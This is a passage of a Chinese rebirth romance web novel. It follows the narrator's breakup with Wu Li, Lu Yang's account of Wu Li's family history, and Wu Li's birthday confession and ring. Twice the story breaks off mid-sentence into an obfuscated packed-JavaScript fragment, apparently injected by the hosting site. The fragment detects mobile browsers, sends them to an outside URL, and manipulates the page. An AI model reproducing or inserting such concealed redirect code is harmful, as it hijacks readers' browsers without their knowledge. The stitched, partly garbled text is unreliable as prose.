答案依靠逻辑而存在,公式因为理性而推演。 而在那一刻,物理的世界轰然崩塌。 吴理吻了吻我的眼尾,不知是谁和谁的泪水在交缠。 他说:“我也爱你。” 467 这一次,我听清了。 只可惜,这是一个梦。 14. 别丢下我 468 我醒来时,有些恍惚。 熟悉的天花板,熟悉的床,床单也不知道什么时候从白色换成了绿色。 我一愣,视线缓缓从那片淡绿移到床边的那张脸上。 469 吴理紧闭着眼,向后靠在椅背上,看样子,应该是守了一夜。 何必呢? 我扭过头,只觉得有些荒谬。 上辈子我已经坦然接受了无法拥有他的事实,这辈子他又为什么要这样,一遍、一遍地提醒我…… 我还爱他。 470 胸腔内那颗心脏还未完全烬灭。 你看,爱,真的是一件很没有道理的事。 471 一回生二回熟,第二次从这张床上醒来,我已经熟练地起身,准备去卫生间洗漱。 我一动作,吴理便醒了。 他看着我的眼睛,沉默许久,突然道:“今天是周末。” 我当然知道这句话的隐藏含义是什么——今天是周末,所以能留下来吗? 什么时候他也学会说话拐弯抹角了? 472 我顿了顿,昨晚的记忆开始回笼。我轻易不喝酒,酒量也还好,要不是昨晚那杯酒太烈…… 想到这里,我头又开始发痛。 许医生那双含笑的眼睛从我眼前闪过,下一秒,有另一个熟悉而高大的身影挡在了他的面前。 然后,我跌落进一个温热的怀抱。 “昨天……谢谢你。” 一码归一码,昨晚确实多亏吴理带我回来。 我看见吴理的眼睛闪了闪,他小心翼翼问:“昨晚的事……” “嗯?”他后面的话我没听清,于是反问了一句,“什么?” 我这个人酒量不错,但与之对应的,我醉酒后便容易断片。 我的记忆停在那个怀抱上,之后,便什么也记不清了。 473 “我记不太清了,我说什么了吗?” 吴理的反应太过反常,我开始努力回想,试图在已经被删除的记忆中找到端倪。 “没什么。”吴理敛下眼眸,他的手指无意识地缩了缩,“你胃不好,以后不要喝这么烈的酒。” ——那是我想喝的吗?还不是都拜你那位“好兄弟”所赐。 当然,吐槽的话我不可能说出口,只淡淡道了声谢。 474 洗漱台前,我狠狠搓了一把脸。 我看着镜子中的自己,有些茫然。 在重生回来的那一瞬间,我不就已经做好决定了吗——这辈子不再和吴理扯上任何联系,不再和他有任何瓜葛。 可我现在,是在做什么呢? 放任自己享受他的关心,报复性地想要看到他伤心的表情,甚至心里还在如此卑微地幻想他是不是也有一点爱我…… 475 真不争气啊,白添。 476 我抹了一把发红的眼眶,抬起头试图将热泪憋回去。 不能再这样了。 今天必须有个决断。 477 我出房间时,餐桌上已经摆好了早餐。吴理不会做饭,那十八个褶的包子和鲜豆浆一看就是出自楼下早点铺的张大爷之手。 我之前最爱吃他家的包子。 “先吃早饭吧。”吴理站在餐桌旁,帮我拉开椅子。 我沉默地站了一会儿,没有坐下。 我看着吴理,很平静地说:“上辈子可能有些话没说清楚,所以一直导致我们之间有些误解。这一次我摊开讲,吴理,你提了分手,我同意了。我不相信你不懂分手是什么意思——分手,就是分开了,再也不会在一起了,从此两个人分道扬镳,天各一方……可你这样,算什么呢?我们现在这样,算什么啊?” 说到后面,我的情绪再也压抑不住。刚刚被憋回去的泪水没一会儿就全部汹涌而出,我的视线模糊了一大片。 478 心里一块大石头终于落了地。 479 吴理的表情竟然出现了一丝无措,他站在原地,像是高速运行的计算机突然出故障,一点反应也没有。 见我要走,他这台死机的机器才突然动作起来。 吴理上前一步,攥住我的手腕。 “不是分手,我从来没想过分手,小添,你听我……” 我一寸一寸地推开他的手指,看着他的眼睛,一字一句道:“可我想。” 480 还爱吗?爱。 可我爱不起了。 爱一个人的代价太高,从逻辑学的角度来看,这是一个全然的不等式。 481 我深深呼了一口气,纠结犹豫了这么久,终于,彻底结束了。 482 有什么冰凉的东西被塞进我的手里,硌着手心难受得很。 我低头,看见金灿灿一晃。 是金银杯比赛的冠军戒指。 483 “我其实是想等一个更合适的场合把它给你……”吴理垂头,僵在那里,既不敢靠近,也不想退后。 “小添……”吴理有些执拗地掰开我的手指,想为我戴上那只戒指,“不要收别人的戒指,只收我的好不好?” 他抬眸,眼睛里晃着细碎的光。 戒指的尺码有些大,套不住无名指。吴理只能转而戴在中指上,这一次,却有些紧了。 他不死心地一根一根手指试过去,没有一根合适。 正如我们的感情一样,不管是上辈子还是这辈子,都不合适。 484 “没事,尺码能改,我到时候……” 我抽回手指,摇了摇头:“不用了,你留给更需要的人吧。” “我用不上。” 485 回寝室已经很久了,我一直盯着书桌上的镜子发呆。 目光聚焦在一个点,视觉神经却无法处理任何信息。 桌上放着两个戒指盒,一个是路阳给我的,一个是…… 486 马上快到吴理生日了。 上辈子他过生这年,我在小区的寒风里吃完了一整个蛋糕,那束玫瑰花终究还是进了垃圾桶。 当时我还定制了一对手工对戒,合起来是“Ω”符号,但这对戒指,也没能送出去。 我本以为这辈子不会再见到这对戒指了。 但不知道我吃错了什么药,前几天深夜突然翻出当年定制的那家店铺,将要求发了过去。 就当给自己留点纪念吧,我这样欺骗自己。 487 而现在,两个戒指盒都被我丢进了抽屉深处。 寝室死寂得如同坟场,镜子里倒映着我的肖像,书桌便是墓碑,埋葬着我荒谬两生的爱情。 488 我过了很平静的一个月,这一个月,吴理没有再来打扰我,似乎终于打算和我一刀两断。 这很好。 我们本就不是同一路人。 489 我是在他生日前一天晚上接到他的电话的,他不知道借了谁的手机打进来,在我看到屏幕上显示的陌生号码时,我便隐隐有一丝预感。 因此,在接通电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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狗蛋仿佛也意识到了这件事的严重性,从我怀里跳下来,跑到吴理脚边,非常谄媚地叫了一声,还用尾巴勾他的腿。 要不是他额头上那簇标志性的黑毛,我都要怀疑它是不是狗蛋了。 上辈子它不是最看不惯吴理了吗? 493 我参观了狗蛋的新窝,装修得十分豪华,狗蛋一只流浪猫直接住进豪宅,浑身的毛都舒展开了。 我看到此情此景,想要将狗蛋带走的话被压在舌尖。 我确实给不了狗蛋这么好的条件。 我把它带回去也只能带回家里,麻烦父母帮忙照看。 “你现在住在寝室,阿姨又在家里养病,还是把狗蛋放在我这里吧。” 似乎看透了我内心所想,吴理一针见血。 494 我沉默不语,蹲下身,用手勾了勾狗蛋,问:“你想跟谁走?” 狗蛋左看看右看看,艰难纠结。 突然,狗蛋被抱了起来,吴理将它放在膝头,两双眼睛齐齐看向我,意外同步。 “我们都跟着你。” 恍惚间,我仿佛又回到了小时候,爸爸抱着我去追妈妈,说我和儿子都归你。 那时我坚定地认为,幸福一定是这副模样。 495 “喵~” 狗蛋叫了一声,似在附和。 一人一猫凑近,一点点消弭了横亘我们之中的距离。 狗蛋用尾巴扫了扫我的手,我摸了摸它,手指和托着狗蛋的另一双手撞上。 吴理勾了勾我的手指,表情竟透露出一丝可怜的意味。 “小添,不要丢下我一个人,好不好……” 15. 我爱你(二合一) 496 严语英到的时候,我在小书房——不对,现在应该是狗蛋的猫窝。 敲门声打断了我们未竟的谈话,我松了一口气。 面对吴理认真到有些执拗的眼神,现在的我无法给出任何回应。 小书房的门没有彻底关上,只是虚掩着。我将狗蛋抱在怀里,揉揉它的头,又顺顺它的毛。 大门那边传来模糊的交谈声,即使隔了一段距离,我也十分清晰地辨认出了来者是谁。 是严语英。 低头时,掌心一手的猫毛,狗蛋身上秃了一大块。它泪眼婆娑,正委屈地控诉我。 497 交谈声更近了,几乎就是在小书房的门外。 “理哥,你生日快到了吧?今年你打算怎么过?还是和以前一样,叫上他们来你家里聚聚?到时候我让全聚福送几个菜来,再订个蛋糕。” “嗯。多准备一份。” “哦?有情况?” “到时候再说。” “行吧,那我可就期待着了——欸?这不是你家小书房吗?怎么门没关紧?有别人在?” “……” 听到这里,我下意识地躲进了卫生间。 来人俨然一副熟稔的模样,我不想在这种时候出来讨嫌。 我紧紧握着门把手,企图用这种方式寻求微薄的一点安全感。 “嗯?理哥,你养猫啦?好可爱的橘猫。” 隔着玻璃门听到模糊的声音,我才发现狗蛋没有跟着我一起进来。 这见利忘主的猫! “喵——” 狗蛋很尖利地叫了一声,这语调便是它不高兴了。 “这猫还挺凶的,理哥,你小时候不是被猫抓过吗?我记得当时阿姨还带你去看了心理医生……你现在不怕了吗?这橘猫看着像野猫,要不把它给我养吧,我有个朋友刚好有经验。” 吴理!你要是敢把狗蛋送人!这辈子都别想再见我一面! 我憋屈地在心里怒吼。 498 “不用,我自己养。” 也不知道吴理是不是感知到了我无声的威胁,两人的交谈声逐渐远去。确认他们离开后,我才从卫生间里出来。 狗蛋很乖地蹲在我的脚边,歪了歪头,轻轻“喵”了一声。 我薅了一把它的头,点点它的眉心,小声跟它告状:“你看看,你差点就要被送出去了,别人还说你是野猫——野猫怎么啦,我们家狗蛋能跑能跳,是野猫中的猫大王!” 我愤愤地抱着狗蛋发泄我不知道从哪来的怒火。 严语英在,我门也出不了,只能煎熬地等待。 499 我听到他们的脚步声朝书房去了——也就是吴理严令我进入需要告知的那间书房。 自从吴理那次说过之后,我再也没有踏入过那间书房。 吴理的那句话就像给书房的门设了一道结界,那道结界上的封印将我阻拦在了他的世界之外。 而现在,有人轻轻松松就突破了这道结界。 500 透过虚掩的门缝,我看见他们进了书房。 也许是在讨论学校的事、也许是在讨论比赛的事、也许是在讨论实验课题、也许…… 他们谈论的话题,是我从不会接触的领域。 他们有无数个共同话题,而我却难以在我们的十年感情中找到一句话,可以令吴理的心绪颤动。 我们本就不是同一路人,只是我错误地并行到了他的轨道上。 501 我揉了揉狗蛋的爪子,将下巴埋在它的头顶。 毛茸茸的耳朵拂着我的皮肤,轻轻抖动。 我贴在它的耳边,小声问:“狗蛋,如果我们两个只能选一个,你到底选谁啊?” 刚说完,我又觉得这个话题对小猫咪太残忍,拍了拍它的头,轻声道:“算了,你还是跟着他好好享福吧。就是之后,我可能不会经常来看你了……我想试一试,没有他的生活。” 502 门被骤然推开,吴理怔怔地站在门口。 他看着我,我也看着他,相对无言。 终究还是我先开口:“他呢?” 还有客人在,我还不至于重要到让吴理放下客人来陪我。 “他来取份文件,已经走了。” 果然,送走那边才有时间理会我。 “你刚刚那句话……是什么意思?”吴理声线有些颤抖,他挡在门口,一丝缝隙都没有给我留,仿佛害怕我逮着空就要跑出去一样。 我低垂着头,视线中心被狗蛋的橘色猫毛所占据。 “没什么,就是上辈子死得太早,这辈子想活得自由自在一点。”我淡淡道。 503 吴理狠狠别过了头,不知道被哪个字刺激到了,眼尾泛着红。 “和我在一起,是不是不自由?”他哑着声问。 我的沉默给了他答案。 504 吴理侧过身,让了一道缝隙出来。 他没有看着我,只是垂眸,似是鼓足勇气问道:“那我周末生日,你能来吗?” 我依然沉默不语。 505 “喵~” 最后,是狗蛋打破了这份尴尬的死寂。 我想了想,说:“我刚刚在桌上看到狗蛋的接种卡,它下次接种时间是在周末吧,到时候我带它去。” 听严语英刚才的意思,周末吴理过生,他们估计要大聚一场。到时候吴理忙着招待朋友,肯定没有时间管狗蛋。 吴理归吴理,狗蛋归狗蛋。 事关狗蛋的健康,我不能置之不理。 506 “我先回去了。” 我将狗蛋放下,跟它说了声再见,目不斜视地离开。 灼灼的视线打在我的脑后,我没有回头。 507 书桌深处的戒指盒静静地躺在黑暗中,如同房间里的大象,被我有意忽视。 时间一分一秒迫近周末,那两个戒指盒的存在也越发显著。 我失眠了好几个晚上,梦中戒指在叮当作响。 惊醒时,小夜灯照着我有些苍白的脸,背后全是冷汗。 我又梦到了上辈子的事。 那段脆弱的、孤独的时光,连同死亡一起,将我楔在无休止的痛苦回忆里,反刍、咀嚼、消化…… 我被困在了东北那间空无人烟的老屋、被困在了名为兰因絮果的庙宇、被困在了万千经幡飘动的雪山、被困在了当年惊鸿一瞥的那棵银杏树下。 508 又是一夜不能安眠。 我猛地坐起,看了眼手机锁屏,已经是周六了。 屏幕上,那个熟悉的日期刺着我的眼睛。也许是屏幕太亮,照得我眼睛生疼。 索性已经醒了,我穿上衣服,收拾好出门。 我打算早点去接狗蛋,免得跟吴理的那些朋友撞上,扰了他们的兴致。 509 八点左右,我到了吴理家门口。 我心情复杂地敲了敲门,不知道等会儿看见吴理能说些什么。 但我没想到的是,我连他的面都没见到。 来开门的是严语英,他上下打量了我一遍,很有礼貌地问:“你是……” 好歹是同一个高中的同学,当年毕业还在同一个KTV聚过会,严语英看我的眼神,却全然像在看一个陌生人。 510 “我来接狗……那只橘猫去打疫苗。”我下意识地将狗蛋的名字咽了回去,严语英本来就评价狗蛋是只野猫,要是再让他知道这只野猫顶着“狗蛋”的名头,那原先的评价之后恐怕要再添上“粗俗”二字。 “哦哦,你是宠物医院的工作人员吧?我去带它出来,抱歉啊,麻烦你等一会儿,这只猫不太好抓。” 我将错就错:“没关系,我进去接它就行。” 看来吴理不在家,餐桌上已经摆好了佳肴,客厅里也挂上了生日聚会的装饰。即使没有我,吴理的世界也自会有别人来粉饰。 我低下头,完美扮演着我“工作人员”的角色,跟在严语英身后进了小书房。 狗蛋一看见我就兴奋地扑上来,我为了不露馅,根本不敢回应它。三下五除二把它塞进猫包里就准备走。 严语英意味深长地看了我一眼,道:“看来这只猫很喜欢你啊。” 我抿了抿唇,胡诌道:“体质问题吧,我吸猫体质。” 511 从吴理家出来之后,我彻底松了口气。 也不知道是不是我的错觉,严语英的目光总是有意无意落在我身上,探究的意味很浓。 我不想深究,打了个车就带着狗蛋去宠物医院。 我去得早,但无奈狗蛋太能挣扎。宠物医院里好几个人一起才堪堪把它按住,打完了那针疫苗。 也不知道吴理一个人带它来的时候是怎样的盛况。 512 “小添哥?你怎么在这?” 我提着狗蛋从诊室出来,正准备坐在走廊的椅子上缓缓,却听见一道惊喜的声音。 我抬头一看,发现竟然是路阳。 路阳穿了件白色冲锋衣,手里牵着只白色边牧,一人一狗简直一个模子里刻出来的。 两双水汪汪的眼睛盯着我,眼神十分认真。 “我今天来是带咪咪来看病,不是故意偶遇你。”路阳仿佛意识到什么,突然语气坚定保证道。 “那这么说,之前都是偶遇了?”我倒是不介意,反而打趣。 那天我俩把事情说开之后,关系竟是比之前还好了些,都以朋友相待。我最终还是没退出机器人社,老李知道后高兴地将一大堆账甩给我去报,后来还是路阳帮我分担了一部分。 “不是!有些不是……”路阳涨红了脸,语无伦次地解释。 我笑了笑,主动转移话题:“你家边牧叫咪咪?” 路阳“嗯”了一声,将边牧推到我面前,让我随便摸:“最近在家里不好好吃饭,我今天带它来看看。小添哥,你呢?你也养宠物了吗?” “不算我养的。”我将躲在猫包里的狗蛋拎出来,介绍道:“认识一下,这是狗蛋。” 狗叫咪咪,猫叫狗蛋,也算是独有的缘分了。 我和路阳相视一笑,都发现了这处巧合。 513 “好了,你先带咪咪去看病吧。”我站起身。 “那个,小添哥……”路阳犹犹豫豫,“等会儿能一起吃个午饭吗?我有些事想跟你说。” “可以。”我爽快点头。 我察觉到路阳想说的应该不是我们之间的事,反正今天周末,我多的是时间。 514 路阳带着咪咪进了诊室,没两分钟便出来了。 我愕然:“好了?” 路阳无奈扶额:“医生说他检查结果没问题,就是装病,想让我带它出来玩。” 咪咪抬头吐舌,一脸无辜。 我也笑了:“这还真是边牧能干出来的事。” “还是狗蛋好,装在包里,省心。”路阳感慨。 “喵呜!”狗蛋立马用高昂的叫声示意自己有多不省心。 515 带着一猫一狗,大部分餐厅我们都进不了。我俩索性找了个公园,在便利店买了三明治,坐在草地上野餐。 草地上基本都是各色狗狗,叼飞盘的、疯跑的、撒欢的……一应俱全,咪咪也很快加入了大部队,狗蛋躺在野餐垫上,懒懒撩了下眼皮,翻了个身,在树荫里打盹。 “我每天六点起来遛它,晚上回去之后十点接着遛,它还嫌运动量不够。”路阳“啪”的一下将吸管插进牛奶盒里递给我,感慨道,“简直就是个小祖宗。” “但你把它养得很好啊。” 我看着正在不远处撒欢的咪咪,皮毛顺滑、体型匀称,一点看不出装病不吃饭的样子。估计一两顿没吃路阳就带它来医院了,看得出来他十分重视。 “没办法,它在我家地位比我高。要是它有什么三长两短,我妈可饶不了我。”路阳微微笑着,提起家里人的时候,他全身都洋溢着幸福的味道。 “对了,你要跟我说什么?”我咬了口三明治,想起正事。 “其实……”路阳看着我的眼睛,阳光透过叶缝落下来,给他镀了一层辉光,“我是想坦白一件事,我之前其实认识小添哥你的前男友。” “你是说……吴理?”我内心波动,面上却不显。 “嗯。”路阳点了点头,“严格点来讲,我们是一个大院长大的。我不知道他还记不记得我,不过像我们这样的普通人,估计在他心里也留不下什么印象。小时候,他简直是我们大院里所有孩子的‘眼中钉’——他太优秀了,每一次考试、或者什么比赛,我们都要被拉出来和他比较,这个名字贯穿了我们所有孩子的人生阶段。”路阳摊了摊手,无奈耸肩。 “直到某一天,他家里突发变故。”路阳的语气逐渐变得严肃起来,“他父亲出轨,母亲因为小三登门挑衅而心梗住院,到现在心脏都还需要保养。那一年吴理大概十岁,他收集了父亲出轨的证据,联系律师调查他父亲转移到小三名下的财产,还向家族施压出面处理,必须让他父亲归还所有财产,然后净身出户——我们当时听说这件事后,都佩服得不行,连之前处处都被拿来跟他比的不爽感都没了……” 我听得很仔细,手上的三明治被风吹得干硬,我却一点没有意识到。 “但最后,结果不尽人意。不是因为他做的准备不够充分,而是他母亲出面了。”路阳顿了顿,继续道,“听说,他将他父亲和小三堵在房间里,准备叫律师过来的时候,他父亲还躺在床上,抱着小三,毫不在意地说,吴理的母亲肯定会原谅自己。” “吴理信誓旦旦说不可能,但他母亲赶到后,坐实了他父亲的说法。他母亲牵着他往外走,据说他母亲只说了一句话。” “——我还爱他,我们再给爸爸一次机会,好不好?” 我垂下头,故事也快到了尾声。 “而结局,可想而知,他的父亲并没有珍惜这次机会,他不止一次地再犯,而吴理的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124735|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲也一次次地原谅了他。那之后,吴理彻底心灰意冷,高中之后就再也没回家,只有在他母亲住院调养的时候,他才会去探望一下。” 路阳沉沉叹了口气,沉默半晌,才道:“我说这些,不是为了抹黑前情敌。我们院里的孩子,一路听着吴理的故事长大——孤傲的天才,这是对他最多的评价。记得有一次过年,大院里大家都凑在一起看烟花,吴理也站在门口。有大人问他打算谈什么样的对象,他说爱情是不可理喻的事物,他的人生规划里并没有这个打算。所以,我从没想过,那个吴理,有一天竟然会选择走上这条路。” “毕竟,他父母的事,已经耗光了他对爱情的所有信任。” 516 风徐徐吹来,和煦温暖。 我低下头,啃了一口三明治,有些咸。 “我这算不算为前情敌说好话?”路阳打趣,“我真是个好人。” “嗯。”我郑重地点了点头,“谢谢你跟我说这些。” 路阳看着我,莞尔一笑:“小添哥,我说过的,我希望你开心幸福。既然我给不了你想要的,那就让能给的人来。” 517 “好了,不说这些了。小添哥,我能不能借你家狗蛋一用?” 路阳将手机屏幕凑到我面前,道:“我给咪咪开了个视频账号,还挺受欢迎的。不知道能不能邀请狗蛋做一期飞行嘉宾?” 我点头应下来。 路阳得了我的许可,带着狗蛋去找咪咪合拍了。我知道,他是想给我留下独自消化的空间。 518 上辈子吴理从来没有跟我说过家里的事,我一直以为,他过得很好。 然而当我窥见他的脆弱、迷茫与无奈时,却是从别人的口中听到的。 寥寥几句话,我便拼凑起了他的童年。 不负责任的父亲、盲目相信爱情的母亲…… 也难怪,爱情在他心里会是这样的形象。 路阳回来了,顺便向我展示了一下他的杰作。 视频里一猫一狗十分和谐地蹦蹦跳跳,画面最后定格在狗蛋和咪咪向我跑来的瞬间。 我只露了个半个下巴,所以在路阳询问我能不能把视频发出去时,我并未拒绝。 他看出我心里有心事,又点出一条朋友圈,道:“听说有场生日party,主角到现在还没出现。” 路阳晃了晃手机,笑道:“小添哥,你想不想知道通过照片背景识别具体坐标的最快记录是多少?” 在我的默许下,路阳将刚发的视频链接装发到了某个聊天框。 十分钟后。 吴理站在我的面前。 519 “10分35秒,不错,破纪录了。” 路阳微笑着看向我,说完这句话后便牵着咪咪和我道别,却是一个字都没跟吴理说。 看着吴理脸上有些着急的表情,他乐着哼歌走了。 “小添哥,明天学校见~” 临走前,他还添了把火。 “你怎么来了?”我明知故问。 “小添……”他的声音碎得颤抖。 狗蛋闻到了他的味道,朝他腿上扑上去。看来这段时间他们相处得还算不错。 “我早上去找你了。”吴理突然说道,“我在你楼下等了很久,都没看见你。回去时,他们说有人把狗蛋接走了,我又去了宠物医院,医生说你刚刚走。然后,我就收到……消息,赶过来了。” “为什么来找我?”狗蛋夹在我们之中游走。 “想和你一起过生日。”吴理垂眸,眼睛不知道在看哪里。声音很低,一副底气不足的样子。 我不想看到他这副示弱的模样,我印象里的那个吴理,应该永远扬着头,站在理性与逻辑铸成的尖塔顶端,戴冕称王。 而不是像现在这样,为了可笑的爱情,如此折腾自己。 “今天天气不错。”我突然转移话题,“我就打算在这晒太阳,哪都不去。” 让我回去参与他们的生日聚会,这不可能。但我终究还是给了吴理一个机会。 他读懂了我的暗示,跟着我坐下来,两人相顾无言。 狗蛋主动缓解尴尬,挪到吴理怀里。吴理低着头,从它身上揪出好几根白色的毛。 看来路阳家咪咪掉毛现象很严重啊,下次见面得提醒他带咪咪去看看。 “它身上有其他狗的味道。” 吴理一遍一遍梳着狗蛋的毛,似乎这样就能将多余的味道清除掉。 他抬起头,眼神直溜溜地看着我,分明是在指控。 那话中的“其他狗”,恐怕也别有所指。 “他给我讲了你的事。”我突然出声,“如果你觉得冒犯,我先向你道歉……” “不用。”吴理挺直脊背,紧张地看着我,道,“你想知道什么,我都可以说。” 我抿了抿唇,试探问:“阿姨现在……” “她每个季度都会住院疗养,比起之前,心脏已经好很多了。”吴理答得很迅速。 “所以,你对我们这段感情的处理方式,是不是受了你父母的影响?” “是。”吴理坦然承认,“我知道我心理认知有问题,上辈子我一直都在试图纠正。在和你……分手前,我看了心理医生,他说我的行为很容易伤害到身边人。再加上那段时间你出现了抑郁症状,对亲密关系很抗拒。所以,我在心理医生的建议下,向你提出了暂时分开的要求,但并不是真的分手。” 吴理低下头:“我想,先陪你解决你的情绪问题,然后我再自己找个借口,独自去治病。但我没想到你会直接离开,我找了你很久,你去了很多地方,但每次我一赶到,你又走了。” 原来,我的那条孤独之旅并不孤独。 原来,失约的那个人并未失约。 只是兜兜转转,相互错过。 新坟一座,从此生离死别。 “小添,你说过,我做什么都像在解题。但这两辈子,唯有一道题,我解不出。”吴理看着我的眼睛,深深道,“所以,可不可以再给我一次解题的机会,这一次,不会错了。” “我爱你。” 521 “我爱你。” ——多么动听的一句话。 那么浓烈而复杂的情感,竟然可以用这么简单的三个字表达。 这堪称语言学的不可思议。 但,就是这三个字,你为什么从来没有对我说过呢? 银杏叶飘然落下,照片里的人依然俊秀隽永,临死前,我对着一张照片祈祷—— 如果有来生…… 如果有来生…… 我可不可以见证一场,由三个字创造的奇迹? 那日兰因寺里,青烟三炷截断;那日雪山金顶,经幡未曾回应;那日银杏树下,落叶纷扬不语…… 我曾以为不会有神明眷顾我。 但今日,神明终于回应了我的愿望—— 他跨过滚滚岁月,越过生死罅隙,而后,驻足在我面前,轻声说:“我爱你。” ——这一次,我听清了。 16. 生日快乐 522 “我一直很讨厌物理。” 狗蛋跳上我的膝盖,用肚子烘着我有些冰凉的手,我垂下眼眸,轻声道:“我分析不出小球与木块的受力、看不懂电场与磁场、分辨不清光的折射和散射方向……有时候做完一张物理卷子下来,我都觉得我是个智障。物理真的是一门很不讲道理的学科。” 吴理静静地听着,我很少像这样在他面前倾诉自己的情绪。 但第一句话说出口时,却并没有我想象中的那么难。 “我讨厌应试教育,讨厌被规则束缚的选拔体系,讨厌一张张流水线一般的试卷,讨厌解题。”我抬头,忽而一笑,“直到后来遇见你,我突然发现,我遇到了一道此生必解的题。” “我花了一辈子来解这一道题,但结果和我高中时代的那些物理大题一样,无一例外都是零分。”我深深看着他的眼睛,很认真地问,“怎么办啊?吴理。我不知道该怎么解……” 眼泪无意识地涌出,滚落的水珠在狗蛋的毛上砸出一个个小坑。 523 我从前总是告诫自己,我的情绪与情感都是微不足道的东西,与漫长的时间与吴理的宏大课题相比,这些都不值一提。 我耻于在他的面前揭露自己的不完美,于是那十年间,我不知戴上了多少张面具——我像一个疯狂向面试官展示自己的考生,企图将所有优势抛出来赢取他的欢心,仿佛这样就能遮掩我无能为力的事实。 但我却忘了,我们本应是爱人。 所以在遇到难题的时候,不必隐瞒、不必躲藏,只需要一句简单的——“该怎么解啊,吴理?” 524 视野中心一张脸突然凑近放大,温热的手指拂过我眼下的皮肤,湿痕留在吴理的指腹。 他低沉着声音,拇指抹过我的眼尾:“不会就不会吧,这一次,换我来解。” 一抹金光在我眼前晃了晃,我低头,那只凤凰金戒振翅欲飞。 吴理将戒指套在我的无名指上,手指插入我的指缝,紧紧相扣:“这一次,让我来追你,好不好?” ——可我自己都不知道,自己还是否拥有踏入一段亲密关系的勇气。 “不想回应也没关系,选择权在你的手上。你吊着我也可以,把我当备胎也可以。”吴理抬起手,轻吻着我的手指,道,“只要你能在一步之遥的距离外,给我留一个位置,就足够了。” 525 我沉默良久,吴理紧张地等待着我的回复。 “吴理。”我看着他的眼睛,一字一句,一点一点地控诉,“我们上辈子的爱情一塌糊涂。你没有对我说过''我爱你''、没有和我一起合过照、没有告诉过我你的挣扎与痛苦、没有与我分享过你的喜悦与欢乐。我融入不进你的世界、进不去你的书房、不敢跟你分享幼稚的琐事、甚至到最后不敢跟你坦白我的病情。我怕你不在乎,怕你不要我,归根结底,我怕你不爱我……” 吴理紧紧攥着我的手指,贴在我皮肤上的唇在颤抖。 “我真的很害怕答应你之后,这辈子又会重蹈覆辙。”我敛下眼眸,重重叹了口气,而后扬起尾音,露出一个有些无奈的笑,“可没办法,谁让你不讲道理呢?” “这是最后一次机会。” 526 吴理兀地抬头,一颗泪珠顺着他的眼尾落下,很轻很轻。 泪滴砸在我的手背上,异常滚烫。 我笑了笑:“我已经给了你这么多提示了,如果这次还是解不出……” “足够了。”吴理近乎虔诚地将额头抵在我的手心,手掌一片湿润,他哑着嗓音,一遍遍道,“够了,足够了……” ——“没有你的冬天很冷。” ——“你走之后,狗蛋也不理我。” ——“这辈子,可不可以不要丢下我一个人……” 起风了,树叶被吹得簌簌作响。分明是风吹叶动,可为何胸腔却传来阵阵颤动? 527 ——原来不是风动。 “嗯。” 我将另一只手放在他的头顶,轻轻应了一声。 528 “生日快乐,吴理。” 529 愿望说出来就不灵了,唯有上辈子终年不化的冰雪与此刻喧嚣肆意的风儿作见证——我祝你平安顺遂,健康喜乐。 530 宇宙自混沌中爆发,由无数星系与尘埃组成的图谱中,唯有一个地球。而在这颗小小的地球上,有八十亿人,人类的一生也不过短短三万天。两个人在同一时间同一地点相遇的几率,从概率学的角度来讲,无限接近于零——世人将其称为缘分,我却更愿意称之为奇点。 奇点,是宇宙的开端,是物理学的奇迹。 即使世界崩塌,宇宙坍缩,我们也会突破概率的边界,在下一场大爆炸中重逢。 531 吴理送我回了学校,我在学校门口的蛋糕店里给他买了一个小小的蛋糕。 我们在寝室楼下随意找了张石桌,我把蜡烛给他点上。 “你要许愿吗?” 我征求他的意见,毕竟吴理从来不相信这些虚无缥缈的东西, 却没想到吴理点了点头,十分严肃地闭上眼睛。蜡烛的火光映在他的脸上,将四周的黑暗驱散开。 我用目光描摹着他的眉眼。 532 突然,那双眼睛睁开了,瞳孔里倒映着我认真的眼神。 我一愣。 “许好了。”他十分庄重地说道,仿佛不是在许愿,而是完成了一个重大的课题。 “嗯,愿望说出来就不灵了。”我将蛋糕朝前推了推,“吹蜡烛吧。” 533 “呼。” 火光骤灭,静谧的黑暗中,对面的那道视线却比火焰还要灼人。 534 突然,吴理的手机亮起来,他打开相机自拍,屏幕自动补光,将我们框在正中。 “小添,我们拍张照吧,可以吗?” 他笨拙地调整着角度,蛋糕在镜头中心。 我们一前一后,在照片里,却像紧紧挨在一起。 535 我默许。 于是“咔嚓”一声,他的相机里多出了一张我们的合照。 吴理将聊天软件的界面打开,把二维码递到我面前:“重新认识一下,我叫吴理,可以加一个你的好友吗?” 我掏出手机,一声震动之后,一个熟悉的头像框出现在了界面最顶端。 536 下一秒,一张照片发了过来。 照片里的我安静地笑着,吴理的嘴角也上扬了微小的幅度。 我看着蛋糕,他看着我。 朋友圈很快刷新出一条新动态—— “生日快乐。” 简简单单的四个字文案,配上同样一张简单的图片。 吴理却一副十分满足的模样。 537 “晚安,小添。一夜好梦。” 吴理目送着我上了楼。 乌云散开,月光透过层层叶隙,将他的影子拉得很长。 不知道是不是这句祝福真的应验了,我少有地睡了一个好觉。 538 次日清晨,我顶着蒙在浓雾里的曦光,在楼下“邂逅”了某个身影。 吴理站在大门口,大衣里鼓鼓囊囊。 “喵~” 狗蛋从他大衣的领口里探出头,朝我叫了一声。 我无奈:“找我有事?” 吴理顿了一会儿,移开视线道:“狗蛋吵着要出门,我……顺路经过。” 好一个顺路,从他家楼下顺到我们学校寝室楼了,也不知道顺的是哪条路。 “你再好好想想,如果没事的话,我要走了。”我含笑看他。 “有事。”吴理朝前一步,“我想和你约会。” 我故作为难:“可是约会是只有情侣才能做的事……” “那你可以为我破例一次吗?” “喵喵~” 狗蛋跟着帮腔。 539 “北湖公园的梅花开了吧?” 